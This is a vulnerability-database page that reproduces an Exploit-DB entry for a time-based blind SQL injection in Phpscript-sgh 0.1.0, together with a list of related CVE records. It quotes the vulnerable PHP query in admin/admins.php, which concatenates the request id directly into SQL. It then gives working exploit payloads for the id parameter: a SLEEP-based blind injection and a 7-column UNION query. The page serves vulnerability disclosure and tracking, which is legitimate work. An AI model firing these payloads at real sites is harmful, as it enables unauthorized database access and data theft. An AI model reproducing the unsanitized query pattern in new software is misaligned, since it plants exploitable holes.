Lucene search
+L

Phpscript-sgh 0.1.0 - Time Based Blind SQL Injection (SQLi)

🗓️ 04 Dec 2020 00:00:00Reported by KeopssGroup0day_IncType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 1112 Views

Phpscript-sgh 0.1.0 Time Based Blind SQL Injectio

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2020-36951
27 Jan 202615:23
–attackerkb
circl
Circl
CVE-2020-36951
27 Jan 202616:07
–circl
cnnvd
CNNVD
SGH SQL injection vulnerability
27 Jan 202600:00
–cnnvd
cve
CVE
CVE-2020-36951
27 Jan 202615:23
–cve
cvelist
Cvelist
CVE-2020-36951 Phpscript-sgh 0.1.0 - Time Based Blind SQL Injection
27 Jan 202615:23
–cvelist
euvd
EUVD
EUVD-2020-30876
27 Jan 202615:23
–euvd
nvd
NVD
CVE-2020-36951
27 Jan 202616:16
–nvd
osv_cve
osv_cve
CVE-2020-36951
27 Jan 202616:16
–osv_cve
ptsecurity
Positive Technologies
PT-2026-4930
27 Jan 202600:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2020-36951: Improper Neutralization of Special Elements used in an SQL Command
27 Jan 202600:00
–rapid7
Rows per page
# Exploit Title: Phpscript-sgh 0.1.0 - Time Based Blind SQL Injection
# Date: 2020-12-04
# Exploit Author: KeopssGroup0day,Inc
# Vendor Homepage: https://github.com/geraked/phpscript-sgh
# Software Link: https://github.com/geraked/phpscript-sgh
# Version: 0.1.0
# Tested on: Kali Linux

------------------------------------------------------------------------------------------------------------------------
Source code(localhost/admin/admins.php):

if ($_REQUEST['op']=='add') {
	$id = $username = $password = $conf_password = $firstname = $lastname =
$email = $pic = $_SESSION['aapic'] = "";
	}
	else {
		$result	= $conn->query("SELECT * FROM sgh_admins WHERE
id=".test_input($_REQUEST['id'])." LIMIT 1");
		$row	= $result->fetch_assoc();
		extract($row);
		$_SESSION['aapic'] = $pic;
	}

------------------------------------------------------------------------------------------------------------------------
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: op=edit&id=1 AND (SELECT 9367 FROM
(SELECT(SLEEP(5)))pBEE)&_pjax=#pjax-container

Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: op=edit&id=-5015 UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b716271,0x536b4e4a775448674c73477175675a4c58476659474f524b535456706e7276474251424a4f67744b,0x717a626b71),NULL--
-&_pjax=#pjax-container
------------------------------------------------------------------------------------------------------------------------

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.18.2
CVSS 48.8
EPSS0.00353
SSVC
1112